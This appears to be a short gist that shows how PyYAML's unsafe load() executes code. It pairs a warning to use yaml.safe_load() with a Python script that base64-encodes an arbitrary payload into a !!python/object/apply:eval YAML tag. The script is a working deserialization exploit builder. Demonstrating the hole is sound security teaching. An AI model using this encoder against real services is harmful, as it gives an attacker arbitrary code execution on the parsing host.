yaml exploit encoder

explanation.md

The Python YAML library's default load() function will happily attempt to create arbitrary python objects. If you load an attacker-supplied yaml, bad things happen. The enclosed code snippet is an example of how to make bad things happen, since there still seem to be some non-believers.

Always use yaml.safe_load()

yaml_exploit.py

# Isn't this the worst thing you've ever seen?
exploit = open('exploit.py').read()
encoded_exploit = ("eval(compile('%s'.decode('base64'),'<string>','exec'))"
                   % exploit.encode('base64').replace('\n', ''))
yaml_object = ('\nexploit_helper: !!python/object/apply:eval ["%s",]\n'
               % encoded_exploit)

# then the target does
import yaml
yaml.load(yaml_object)
# and your code runs...